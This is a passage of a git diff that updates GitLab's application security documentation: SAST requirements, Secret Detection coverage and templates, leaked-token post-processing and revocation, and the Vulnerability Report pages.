A `raw` passthrough, which writes its `value` to `/sgrules/insecure.yml`. - A `url` passthrough, which fetches a configuration hosted at a URL and diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index c4352f45704..b0d84e4cff9 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -62,7 +62,7 @@ To run SAST jobs, by default, you need GitLab Runner with the If you're using the shared runners on GitLab.com, this is enabled by default. WARNING: -Our SAST jobs require a Linux/amd64 container type. Windows containers are not yet supported. +GitLab SAST analyzers don't support running on Windows or on any CPU architectures other than amd64. WARNING: If you use your own runners, make sure the Docker version installed @@ -73,7 +73,7 @@ is **not** `19.03.0`. See [troubleshooting information](#error-response-from-dae GitLab SAST supports scanning a variety of programming languages and frameworks. Once you [enable SAST](#configuration), the right set of analyzers runs automatically even if your project uses more than one language. -Check the [SAST direction page](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) to learn more about our plans for language support in SAST. +For more information about our plans for language support in SAST, see the [category direction page](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support). | Language / framework | [Analyzer](analyzers.md) used for scanning | Minimum supported GitLab version | |------------------------------|--------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------| @@ -144,12 +144,15 @@ the repository. For details on the Solution format, see the Microsoft reference ## False positive detection **(ULTIMATE)** -> Introduced in GitLab 14.2. +> - Introduced for Ruby in GitLab 14.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378622) for Go in GitLab 15.8. -Vulnerabilities that have been detected and are false positives will be flagged as false positives in the security dashboard. +GitLab SAST can identify certain types of false positive results in the output of other tools. +These results are flagged as false positives on the [Vulnerability Report](../vulnerability_report/index.md) and the [Vulnerability Page](../vulnerabilities/index.md). False positive detection is available in a subset of the [supported languages](#supported-languages-and-frameworks) and [analyzers](analyzers.md): +- Go, in the Semgrep-based analyzer - Ruby, in the Brakeman-based analyzer  @@ -168,7 +171,7 @@ GitLab SAST uses an advanced vulnerability tracking algorithm to more accurately Advanced vulnerability tracking is available in a subset of the [supported languages](#supported-languages-and-frameworks) and [analyzers](analyzers.md): - C, in the Semgrep-based analyzer only -- Go, in the Gosec- and Semgrep-based analyzers +- Go, in the Semgrep-based analyzer only - Java, in the Semgrep-based analyzer only - JavaScript, in the Semgrep-based analyzer only - Python, in the Semgrep-based analyzer only @@ -178,9 +181,23 @@ Support for more languages and analyzers is tracked in [this epic](https://gitla For more information, see the confidential project `https://gitlab.com/gitlab-org/security-products/post-analyzers/tracking-calculator`. The content of this project is available only to GitLab team members. +## Automatic vulnerability resolution + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/368284) in GitLab 15.9 [with a project-level flag](../../../administration/feature_flags.md) named `sec_mark_dropped_findings_as_resolved`. Enabled by default on GitLab.com; disabled by default in self-managed. On GitLab.com, [contact Support](https://about.gitlab.com/support/) if you need to disable the flag for your project. + +To help you focus on the vulnerabilities that are still relevant, GitLab SAST automatically [resolves](../vulnerabilities/index.md#vulnerability-status-values) vulnerabilities when: + +- You [disable a predefined rule](customize_rulesets.md#disable-predefined-rules). +- We remove a rule from the default ruleset. + +Automatic resolution is available only for findings from the [Semgrep-based analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep). +The Vulnerability Management system leaves a comment on automatically-resolved vulnerabilities so you still have a historical record of the vulnerability. + +If you re-enable the rule later, the findings are reopened for triage. + ## Supported distributions -The default scanner images are build off a base Alpine image for size and maintainability. +The default scanner images are built on a base Alpine image for size and maintainability. ### FIPS-enabled images @@ -350,13 +367,13 @@ To override the automatic update behavior, set the `SAST_ANALYZER_IMAGE_TAG` CI/ in your CI/CD configuration file after you include the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Only set this variable within a specific job. -If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set will be used for other SAST analyzers. +If you set it [at the top level](../../../ci/variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file), the version you set is used for other SAST analyzers. You can set the tag to: -- A major version, like `3`. Your pipelines will use any minor or patch updates that are released within this major version. -- A minor version, like `3.7`. Your pipelines will use any patch updates that are released within this minor version. -- A patch version, like `3.7.0`. Your pipelines won't receive any updates. +- A major version, like `3`. Your pipelines use any minor or patch updates that are released within this major version. +- A minor version, like `3.7`. Your pipelines use any patch updates that are released within this minor version. +- A patch version, like `3.7.0`. Your pipelines don't receive any updates. This example uses a specific minor version of the `semgrep` analyzer and a specific patch version of the `brakeman` analyzer: @@ -552,7 +569,7 @@ Some analyzers make it possible to filter out vulnerabilities under a given thre | CI/CD variable | Default value | Description | |------------------------------|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs (see [`doublestar.Match`](https://pkg.go.dev/github.com/bmatcuk/doublestar/v4@v4.0.2#Match) for supported patterns), or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. You might need to exclude temporary directories used by your build tool as these can generate false positives. To exclude paths, copy and paste the default excluded paths, then **add** your own paths to be excluded. If you don't specify the default excluded paths, you will override the defaults and _only_ paths you specify will be excluded from the SAST scans. | +| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs (see [`doublestar.Match`](https://pkg.go.dev/github.com/bmatcuk/doublestar/v4@v4.0.2#Match) for supported patterns), or file or folder paths (for example, `doc,spec`). Parent directories also match patterns. You might need to exclude temporary directories used by your build tool as these can generate false positives. To exclude paths, copy and paste the default excluded paths, then **add** your own paths to be excluded. If you don't specify the default excluded paths, you override the defaults and _only_ paths you specify are excluded from the SAST scans. | | `SEARCH_MAX_DEPTH` | 4 | SAST searches the repository to detect the programming languages used, and selects the matching analyzers. Set the value of `SEARCH_MAX_DEPTH` to specify how many directory levels the search phase should span. After the analyzers have been selected, the _entire_ repository is analyzed. | | `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'`. [Removed](https://gitlab.com/gitlab-org/gitlab/-/issues/352554) in GitLab 15.4. | | `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. | @@ -788,6 +805,11 @@ If you're seeing a new error that doesn't appear to be related to [the GitLab-ma Each [analyzer project](analyzers.md#sast-analyzers) has a `CHANGELOG.md` file listing the changes made in each available version. +### `exec /bin/sh: exec format error` message in job log + +GitLab SAST analyzers [only support](#requirements) running on the `amd64` CPU architecture. +This message indicates that the job is being run on a different architecture, such as `arm`. + ### `Error response from daemon: error processing tar file: docker-tar: relocation error` This error occurs when the Docker version that runs the SAST job is `19.03.0`. diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md index d955170ece2..d6aab71a2c6 100644 --- a/doc/user/application_security/secret_detection/index.md +++ b/doc/user/application_security/secret_detection/index.md @@ -65,17 +65,76 @@ Different features are available in different [GitLab tiers](https://about.gitla | [Access the Security Dashboard](../security_dashboard/index.md) | **{dotted-circle}** No | **{check-circle}** Yes | | [Customize Secret Detection rulesets](#custom-rulesets) | **{dotted-circle}** No | **{check-circle}** Yes | +## Coverage + +Secret Detection scans different aspects of your code, depending on the situation. For all methods +except "Default branch", Secret Detection scans commits, not the working tree. For example, +Secret Detection can detect if a secret was added in one commit and removed in a later commit. + +- Historical scan + + If the `SECRET_DETECTION_HISTORIC_SCAN` variable is set, the content of all + [branches](../../project/repository/branches/index.md) is scanned. Before scanning the + repository's content, Secret Detection runs the command `git fetch --all` to fetch the content of all + branches. + +- Commit range + + If the `SECRET_DETECTION_LOG_OPTS` variable is set, the secrets analyzer fetches the entire + history of the branch or reference the pipeline is being run for. Secret Detection then runs, + scanning the commit range specified. + +- Default branch + + When Secret Detection is run on the default branch, the Git repository is treated as a plain + folder. Only the contents of the repository at the current HEAD are scanned. Commit history is not scanned. + +- Push event + + On a push event, Secret Detection determines what commit range to scan, given the information + available in the runner. To determine the commit range, the variables `CI_COMMIT_SHA` and + `CI_COMMIT_BEFORE_SHA` are important. + + - `CI_COMMIT_SHA` is the commit at HEAD for a given branch. This variable is always set for push events. + - `CI_COMMIT_BEFORE_SHA` is set in most cases. However, it is not set for the first push event on + a new branch, nor for merge pipelines. Because of this, Secret Detection can't be guaranteed + when multiple commits are committed to a new branch. + +- Merge request + + In a merge request, Secret Detection scans every commit made on the source branch. To use this + feature, you must use the [`latest` Secret Detection template](#templates), as it supports + [merge request pipelines](../../../ci/pipelines/merge_request_pipelines.md). + +## Templates + +Secret Detection default configuration is defined in CI/CD templates. Updates to the template are +provided with GitLab upgrades, allowing you to benefit from any improvements and additions. + +Available templates: + +- [`Secret-Detection.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml): Stable version of the Secret Detection CI/CD template. +- [`Secret-Detection.latest.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.latest.gitlab-ci.yml): Latest version of the Secret Detection template. + +WARNING: +The latest version of the template may include breaking changes. Use the stable template unless you +need a feature provided only in the latest template. + +For more information about template versioning, see the +[CI/CD documentation](../../../development/cicd/templates.md#latest-version). + ## Enable Secret Detection Prerequisites: -- GitLab Runner with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or +- Linux-based GitLab Runner with the [`docker`](https://docs.gitlab.com/runner/executors/docker.html) or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. If you're using the shared runners on GitLab.com, this is enabled by default. + - Windows Runners are not supported. + - CPU architectures other than amd64 are not supported. - If you use your own runners, make sure the Docker version installed is **not** `19.03.0`. See [troubleshooting information](../sast#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details. -- Linux/amd64 container type. Windows containers are not supported. - GitLab CI/CD configuration (`.gitlab-ci.yml`) must include the `test` stage. To enable Secret Detection, either: @@ -136,7 +195,12 @@ Pipelines now include a Secret Detection job. ## Responding to a leaked secret -If the scanner detects a secret you should rotate it immediately. [Purging a file from the repository's history](../../project/repository/reducing_the_repo_size_using_git.md#purge-files-from-repository-history) may not be effective in removing all references to the file. Also, the secret remains in any forks of the repository. +Secrets detected by the analyzer should be immediately rotated. +[Purging a file from the repository's history](../../project/repository/reducing_the_repo_size_using_git.md#purge-files-from-repository-history) +may not be effective in removing all references to the file. Additionally, the secret will remain in any existing +forks or clones of the repository. + +GitLab will attempt to [automatically revoke](post_processing.md) some types of leaked secrets. ## Pinning to specific analyzer version @@ -150,9 +214,9 @@ in your CI/CD configuration file after you include the [`Secret-Detection.gitlab You can set the tag to: -- A major version, like `4`. Your pipelines will use any minor or patch updates that are released within this major version. -- A minor version, like `4.5`. Your pipelines will use any patch updates that are released within this minor version. -- A patch version, like `4.5.0`. Your pipelines won't receive any updates. +- A major version, like `4`. Your pipelines use any minor or patch updates that are released within this major version. +- A minor version, like `4.5`. Your pipelines use any patch updates that are released within this minor version. +- A patch version, like `4.5.0`. Your pipelines don't receive any updates. This example uses a specific minor version of the analyzer: @@ -531,3 +595,8 @@ repository's default branch is unrelated to the branch the job was triggered for To resolve the issue, make sure to correctly [set your default branch](../../project/repository/branches/default.md#change-the-default-branch-name-for-a-project) on your repository. You should set it to a branch that has related history with the branch you run the `secret-detection` job on. + +### `exec /bin/sh: exec format error` message in job log + +The GitLab Secret Detection analyzer [only supports](#enable-secret-detection) running on the `amd64` CPU architecture. +This message indicates that the job is being run on a different architecture, such as `arm`. diff --git a/doc/user/application_security/secret_detection/post_processing.md b/doc/user/application_security/secret_detection/post_processing.md index e026c663854..22d7a8ba5af 100644 --- a/doc/user/application_security/secret_detection/post_processing.md +++ b/doc/user/application_security/secret_detection/post_processing.md @@ -4,36 +4,39 @@ group: Static Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Secret Detection post-processing and revocation **(FREE SAAS)** +# Secret Detection post-processing and revocation **(ULTIMATE SAAS)** > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4639) in GitLab 13.6. > - [Disabled by default for GitLab personal access tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/371658) in GitLab 15.6 [with a flag](../../../administration/feature_flags.md) named `gitlab_pat_auto_revocation`. Available to GitLab.com only. +> - [Enabled by default for GitLab personal access tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/371658) in GitLab 15.9 -FLAG: -By default, auto revocation of GitLab personal access tokens is not available. To opt-in on GitLab.com -during the [Beta period](../../../policy/alpha-beta-support.md#beta-features), please -[let us know by completing this form](https://docs.google.com/forms/d/e/1FAIpQLSdRbFhvA5jvI-Rt_Qnl1PQ1znOXKK8m6lRtmM0uva4upetKvQ/viewform). - -GitLab supports running post-processing hooks after detecting a secret. These -hooks can perform actions, like notifying the cloud service that issued the secret. -The cloud provider can then confirm the credentials and take remediation actions, like: +GitLab.com and self-managed supports running post-processing hooks after detecting a secret. These +hooks can perform actions, like notifying the vendor that issued the secret. +The vendor can then confirm the credentials and take remediation actions, like: - Revoking a secret. - Reissuing a secret. - Notifying the creator of the secret. -GitLab SaaS supports post-processing for [GitLab personal access tokens](../../profile/personal_access_tokens.md) and Amazon Web Services (AWS). -Post-processing workflows vary by supported cloud providers. +GitLab supports post-processing for the following vendors and secrets: + +| Vendor | Secret | GitLab.com | Self-managed | +| ----- | --- | --- | --- | +| GitLab | [Personal access tokens](../../profile/personal_access_tokens.md) | ✅ | ✅ 15.9 and later | +| Amazon Web Services (AWS) | [IAM access keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html) | ✅ | ⚙ | + +**Component legend** -Post-processing is limited to a project's default branch. The epic -[Post-processing of leaked secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639). -contains: +- ✅ - Available by default +- ⚙ - Requires manual integration using a [Token Revocation API](../../../development/sec/token_revocation_api.md) -- Technical details of post-processing secrets. -- Discussions of efforts to support additional branches. +## Feature availability -NOTE: -Post-processing is currently limited to a project's default branch +Credentials are only post-processed when Secret Detection finds them: + +- In public projects, because publicly exposed credentials pose an increased threat. Expansion to private projects is considered in [issue 391379](https://gitlab.com/gitlab-org/gitlab/-/issues/391379). +- On the project [default branch](../../project/repository/branches/default.md), for technical reasons. Expansion to all branches is tracked in [issue 299212](https://gitlab.com/gitlab-org/gitlab/-/issues/299212). +- In projects with GitLab Ultimate, for technical reasons. Expansion to all tiers is tracked in [issue 391763](https://gitlab.com/gitlab-org/gitlab/-/issues/391763). ## High-level architecture @@ -44,142 +47,51 @@ sequenceDiagram autonumber GitLab Rails->>+Sidekiq: gl-secret-detection-report.json Sidekiq-->+Sidekiq: StoreSecurityReportsWorker - Sidekiq-->+RevocationAPI: GET revocable keys types - RevocationAPI-->>-Sidekiq: OK - Sidekiq->>+RevocationAPI: POST revoke revocable keys - RevocationAPI-->>-Sidekiq: ACCEPTED - RevocationAPI-->>+Cloud Vendor: revoke revocable keys - Cloud Vendor-->>+RevocationAPI: ACCEPTED -``` - -## Integrate your cloud provider service with GitLab SaaS - -Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). - -### Implement a vendor revocation receiver service - -A vendor revocation receiver service integrates with a GitLab instance to receive -a web notification and respond to leaked token requests. - -To implement a receiver service to revoke leaked tokens: - -1. Create a publicly accessible HTTP service matching the corresponding API contract - below. Your service should be idempotent and rate-limited. -1. When a pipeline corresponding to its revocable token type (in the example, `my_api_token`) - completes, GitLab sends a request to your receiver service. -1. The included URL should be publicly accessible, and contain the commit where the - leaked token can be found. For example: - - ```plaintext - POST / HTTP/2 - Accept: */* - Content-Type: application/json - X-Gitlab-Token: MYSECRETTOKEN - - [ - {"type": "my_api_token", "token":"XXXXXXXXXXXXXXXX","url": "https://example.com/some-repo/blob/abcdefghijklmnop/compromisedfile1.java"} - ] - ``` - -## Implement a revocation service for self-managed - -Self-managed instances interested in using the revocation capabilities must: - -- Deploy the [RevocationAPI](#high-level-architecture). -- Configure the GitLab instance to use the RevocationAPI. - -A RevocationAPI must: - -- Match a minimal API specification. -- Provide two endpoints: - - Fetching revocable token types. - - Revoking leaked tokens. -- Be rate-limited and idempotent. - -Requests to the documented endpoints are authenticated via API tokens passed in -the `Authorization` header. Request and response bodies, if present, are -expected to have the content type `application/json`. - -All endpoints may return these responses: - -- `401 Unauthorized` -- `405 Method Not Allowed` -- `500 Internal Server Error` - -### `GET /v1/revocable_token_types` - -Returns the valid `type` values for use in the `revoke_tokens` endpoint. - -NOTE: -These values match the concatenation of [the `secrets` analyzer's](index.md) -[primary identifier](../../../development/integrations/secure.md#identifiers) by means -of concatenating the `primary_identifier.type` and `primary_identifier.value`. -In the case below, a finding identifier matches: - -```json -{"type": "gitleaks_rule_id", "name": "Gitleaks rule ID GitLab Personal Access Token", "value": "GitLab Personal Access Token"} -``` - -| Status Code | Description | -| ----- | --- | -| `200` | The response body contains the valid token `type` values. | - -Example response body: - -```json -{ - "types": ["gitleaks_rule_id_gitlab_personal_access_token"] -} + Sidekiq-->+Token Revocation API: GET revocable keys types + Token Revocation API-->>-Sidekiq: OK + Sidekiq->>+Token Revocation API: POST revoke revocable keys + Token Revocation API-->>-Sidekiq: ACCEPTED + Token Revocation API-->>+Receiver Service: revoke revocable keys + Receiver Service-->>+Token Revocation API: ACCEPTED ``` -### `POST /v1/revoke_tokens` - -Accepts a list of tokens to be revoked by the appropriate provider. - -| Status Code | Description | -| ----- | --- | -| `204` | All submitted tokens have been accepted for eventual revocation. | -| `400` | The request body is invalid or one of the submitted token types is not supported. The request should not be retried. | -| `429` | The provider has received too many requests. The request should be retried later. | - -Example request body: - -```json -[{ - "type": "gitleaks_rule_id_gitlab_personal_access_token", - "token": "glpat--8GMtG8Mf4EnMJzmAWDU", - "location": "https://example.com/some-repo/blob/abcdefghijklmnop/compromisedfile1.java" -}, -{ - "type": "gitleaks_rule_id_gitlab_personal_access_token", - "token": "glpat--tG84EGK33nMLLDE70zU", - "location": "https://example.com/some-repo/blob/abcdefghijklmnop/compromisedfile2.java" -}] +1. A pipeline with a Secret Detection job completes on the project's default branch, producing a scan + report (**1**). +1. The report is processed (**2**) by an asynchronous worker, which communicates with an externally + deployed HTTP service (**3** and **4**) to determine which kinds of secrets can be automatically + revoked. +1. The worker sends (**5** and **6**) the list of detected secrets which the Token Revocation API is able to + revoke. +1. The Token Revocation API sends (**7** and **8**) each revocable token to their respective vendor's [receiver service](#integrate-your-cloud-provider-service-with-gitlabcom). + +See the [Token Revocation API](../../../development/sec/token_revocation_api.md) documentation for more +information. + +## Integrate your cloud provider service with GitLab.com + +Third-party cloud and SaaS vendors interested in automated token revocation can +[express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). +Vendors must [implement a revocation receiver service](#implement-a-revocation-receiver-service) +which will be called by the Token Revocation API. + +### Implement a revocation receiver service + +A revocation receiver service integrates with a GitLab instance's Token Revocation API to receive and respond +to leaked token revocation requests. The service should be a publicly accessible HTTP API that is +idempotent and rate-limited. Requests to your service from the Token Revocation API will follow the example +below: + +```plaintext +POST / HTTP/2 +Accept: */* +Content-Type: application/json +X-Gitlab-Token: MYSECRETTOKEN + +[ + {"type": "my_api_token", "token":"XXXXXXXXXXXXXXXX","url": "https://example.com/some-repo/~/raw/abcdefghijklmnop/compromisedfile1.java"} +] ``` -### Configure GitLab to interface with RevocationAPI - -You must configure the following database settings in the GitLab instance: - -- `secret_detection_token_revocation_enabled` -- `secret_detection_token_revocation_url` -- `secret_detection_token_revocation_token` -- `secret_detection_revocation_token_types_url` - -For example, to configure these values in the -[Rails console](../../../administration/operations/rails_console.md#starting-a-rails-console-session): - -```ruby -::Gitlab::CurrentSettings.update!(secret_detection_token_revocation_token: 'MYSECRETTOKEN') -::Gitlab::CurrentSettings.update!(secret_detection_token_revocation_url: 'https://example.gitlab.com/revocation_service/v1/revoke_tokens') -::Gitlab::CurrentSettings.update!(secret_detection_revocation_token_types_url: 'https://example.gitlab.com/revocation_service/v1/revocable_token_types') -::Gitlab::CurrentSettings.update!(secret_detection_token_revocation_enabled: true) -``` - -After you configure these values, completing a pipeline performs these actions: - -1. The revocation service is triggered once. -1. A request is made to `secret_detection_revocation_token_types_url` to fetch a - list of revocable tokens. -1. Any Secret Detection findings matching the results of the `token_types` request - are included in the subsequent revocation request. +In this example, Secret Detection has determined that an instance of `my_api_token` has been leaked. The +value of the token is provided to you, in addition to a publicly accessible URL to the raw content of the +file containing the leaked token. diff --git a/doc/user/application_security/secure_your_application.md b/doc/user/application_security/secure_your_application.md new file mode 100644 index 00000000000..fb10efff2c6 --- /dev/null +++ b/doc/user/application_security/secure_your_application.md @@ -0,0 +1,29 @@ +--- +stage: Secure +group: Static Analysis +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Secure your application **(FREE)** + +GitLab can check your applications for security vulnerabilities. + +- [Get started](get-started-security.md) +- [Security Configuration](configuration/index.md) +- [Container Scanning](container_scanning/index.md) +- [Dependency Scanning](dependency_scanning/index.md) +- [Static Application Security Testing](sast/index.md) +- [Infrastructure as Code (IaC) Scanning](iac_scanning/index.md) +- [Secret Detection](secret_detection/index.md) +- [Dynamic Application Security Testing (DAST)](dast/index.md) +- [API Fuzzing](api_fuzzing/index.md) +- [Coverage-guided fuzz testing](coverage_fuzzing/index.md) +- [Security Dashboard](security_dashboard/index.md) +- [Offline Environments](offline_deployments/index.md) +- [Vulnerability Report](vulnerability_report/index.md) +- [Vulnerability Page](vulnerabilities/index.md) +- [Vulnerability severity levels](vulnerabilities/severities.md) +- [CVE ID requests](cve_id_request.md) +- [Policies](policies/index.md) +- [Security scanner integration](../../development/integrations/secure.md) +- [Secure and Govern Terminology](terminology/index.md) diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md index 7c44b49b78c..7388ef80e68 100644 --- a/doc/user/application_security/security_dashboard/index.md +++ b/doc/user/application_security/security_dashboard/index.md @@ -21,12 +21,18 @@ To use the Security Dashboards, you must: ## When Security Dashboards are updated -The Security Dashboards show results of the most recent security scan on the +The Security Dashboards show results of scans from the most recent completed pipeline on the [default branch](../../project/repository/branches/default.md). -Security scans run only when the default branch updates, so -information on the Security Dashboard might not reflect newly-discovered vulnerabilities. +Dashboards are updated with the result of completed pipelines run on the default branch; they do not include vulnerabilities discovered in pipelines from other un-merged branches. -To run a daily security scan, +If you use manual jobs, for example gate deployments, in the default branch's pipeline, +the results of any scans are only updated when the job has been successfully run. +If manual jobs are skipped regularly, you should to define the job as optional, +using the [`allow_failure`](../../../ci/jobs/job_control.md#types-of-manual-jobs) attribute. + +To ensure regular security scans (even on infrequently developed projects), +you should use [scan execution policies](../../../user/application_security/policies/scan-execution-policies.md). +Alternatively, you can [configure a scheduled pipeline](../../../ci/pipelines/schedules.md). ## Reduce false negatives in dependency scans @@ -51,7 +57,7 @@ To reduce false negatives in [dependency scans](../../../user/application_securi The project Security Dashboard shows the total number of vulnerabilities over time, with up to 365 days of historical data. Data refresh begins daily at 01:15 UTC via a scheduled job. Each refresh captures a snapshot of open vulnerabilities. Data is not backported to prior days -so vulnerabilities opened after the job has already run for the day will not be reflected in the +so vulnerabilities opened after the job has already run for the day cannot be reflected in the counts until the following day's refresh job. Project Security Dashboards show statistics for all vulnerabilities with a current status of `Needs triage` or `Confirmed` . @@ -99,7 +105,7 @@ To view project security status for a group: 1. Select **Security > Security Dashboard**. Each project is assigned a letter [grade](#project-vulnerability-grades) according to the highest-severity open vulnerability. -Dismissed or resolved vulnerabilities are excluded. Each project can receive only one letter grade and will appear only once +Dismissed or resolved vulnerabilities are excluded. Each project can receive only one letter grade and appears only once in the Project security status report. To view vulnerabilities, go to the group's [vulnerability report](../vulnerability_report/index.md). diff --git a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md index 2666d91c5aa..772a7d17e1e 100644 --- a/doc/user/application_security/terminology/index.md +++ b/doc/user/application_security/terminology/index.md @@ -91,7 +91,7 @@ applications, and infrastructure. Findings are all potential vulnerability items scanners identify in MRs/feature branches. Only after merging to default does a finding become a [vulnerability](#vulnerability). -You can interact with vulnerability findings in two ways. +You can interact with vulnerability findings in two ways. 1. You can open an issue or merge request for the vulnerability finding. 1. You can dismiss the vulnerability finding. Dismissing the finding hides it from the default views. @@ -243,7 +243,7 @@ of the finding's [first identifier](https://gitlab.com/gitlab-org/security-produ combine to create the value. Examples of primary identifiers include `PluginID` for OWASP Zed Attack Proxy (ZAP), or `CVE` for -Trivy. Note that the identifier must be stable. Subsequent scans must return the same value for the +Trivy. The identifier must be stable. Subsequent scans must return the same value for the same finding, even if the location has slightly changed. ### Report finding @@ -257,7 +257,6 @@ once it's imported into the database. Describes the type of scan. This must be one of the following: - `api_fuzzing` -- `cluster_image_scanning` - `container_scanning` - `coverage_fuzzing` - `dast` diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index 22ef3ed8a1b..67a1257799b 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -213,8 +213,8 @@ Security training uses content from third-party vendors. You must have an intern The vulnerability page may include a training link relevant to the detected vulnerability if security training is enabled. The availability of training depends on whether the enabled training vendor has content matching the particular vulnerability. Training content is requested based on the [vulnerability identifiers](../../../development/integrations/secure.md#identifiers). -The identifier given to a vulnerability will vary from one vulnerability to the next. The available training -content varies between vendors. This means some vulnerabilities will display no training content. +The identifier given to a vulnerability varies from one vulnerability to the next. The available training +content varies between vendors. This means some vulnerabilities do not display training content. Vulnerabilities with a CWE are most likely to return a training result. To view the security training for a vulnerability: diff --git a/doc/user/application_security/vulnerability_report/index.md b/doc/user/application_security/vulnerability_report/index.md index dd919889b4d..e6353264f39 100644 --- a/doc/user/application_security/vulnerability_report/index.md +++ b/doc/user/application_security/vulnerability_report/index.md @@ -171,22 +171,6 @@ To change the status of vulnerabilities in the table:  -## Dismissing a vulnerability - -When you evaluate a vulnerability and decide it requires no more action, you can mark it -as **Dismissed**. Dismissed vulnerabilities do not appear in the merge request security widget -when detected in future scans. - -When a vulnerability is dismissed, a record is made of: - -- Who dismissed it. -- Date and time when it was dismissed. -- Optionally, a reason why it was dismissed. - -Vulnerability records cannot be deleted, so a permanent record always remains. - -If a vulnerability is dismissed in error, reverse the dismissal by changing its status. - ## Sort vulnerabilities by date detected By default, vulnerabilities are sorted by severity level, with the highest-severity vulnerabilities listed at the top. @@ -199,7 +183,7 @@ To sort vulnerabilities by the date each vulnerability was detected, select the > - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/213013) to the group-level Vulnerability Report in GitLab 13.1. You can export details of the vulnerabilities listed in the Vulnerability Report. The export format -is CSV (comma separated values). Note that all vulnerabilities are included because filters do not +is CSV (comma separated values). All vulnerabilities are included because filters do not apply to the export. Fields included are: @@ -218,7 +202,7 @@ Fields included are: - Other identifiers - Detected At - Location -- Activity +- Activity: Returns `true` if the vulnerability is resolved on the default branch, and `false` if not. - Comments NOTE: @@ -242,10 +226,23 @@ thousands of vulnerabilities. Do not close the page until the download finishes. > The option of adding a dismissal reason was introduced in GitLab 12.0. -You can dismiss a vulnerability for the entire project: +When you evaluate a vulnerability and decide it requires no more action, +you can mark it as **Dismissed**. +Dismissed vulnerabilities do not appear in the merge request security widget +when detected in future scans. + +When a vulnerability is dismissed in a project or group, a record is made of: + +- Who dismissed it. +- Date and time when it was dismissed. +- Optionally, a reason why it was dismissed. + +Vulnerability records cannot be deleted, so a permanent record always remains. + +You can dismiss a vulnerability in projects and groups: 1. Select the vulnerability in the Security Dashboard. -1. In the top-right, from the **Status** selector menu, select **Dismissed**. +1. In the upper right, from the **Status** selector menu, select **Dismissed**. 1. Optional. Add a reason for the dismissal and select **Save comment**. To undo this action, select a different status from the same menu. @@ -263,7 +260,7 @@ To add a new vulnerability finding from your project level Vulnerability Report 1. Select **Submit vulnerability**. 1. Complete the fields and submit the form. -You will be brought to the newly created vulnerability's detail page. Manually created records appear in the +You are brought to the newly created vulnerability's detail page. Manually created records appear in the Group, Project, and Security Center Vulnerability Reports. To filter them, use the Generic Tool filter. ## Operational vulnerabilities diff --git a/doc/user/application_security/vulnerability_report/pipeline.md b/doc/user/application_security/vulnerability_report/pipeline.md index 57c18cb045e..0e5bb5e10f7 100644 --- a/doc/user/application_security/vulnerability_report/pipeline.md +++ b/doc/user/application_security/vulnerability_report/pipeline.md @@ -38,7 +38,7 @@ Before GitLab displays results, the vulnerability findings in all pipeline repor GitLab displays one row of information for each [scan type](../terminology/index.md#scan-type-report-type) artifact present in the pipeline. -Note that each scan type's total number of vulnerabilities includes dismissed findings. If the number of findings +Each scan type's total number of vulnerabilities includes dismissed findings. If the number of findings in the report doesn't match the number in **Scan details**, ensure that **Hide dismissed** is disabled. ### Download security scan outputs @@ -64,7 +64,7 @@ This shows a list of the combined results for all security report artifacts. The the addition of a **Hide dismissed** toggle. When you review the vulnerability findings reported in the pipeline, you can select one or more entries for dismissal, -similar to [Dismissing a vulnerability](index.md#dismissing-a-vulnerability) in the Vulnerability Report. +similar to [Dismissing a vulnerability](index.md#dismiss-a-vulnerability) in the 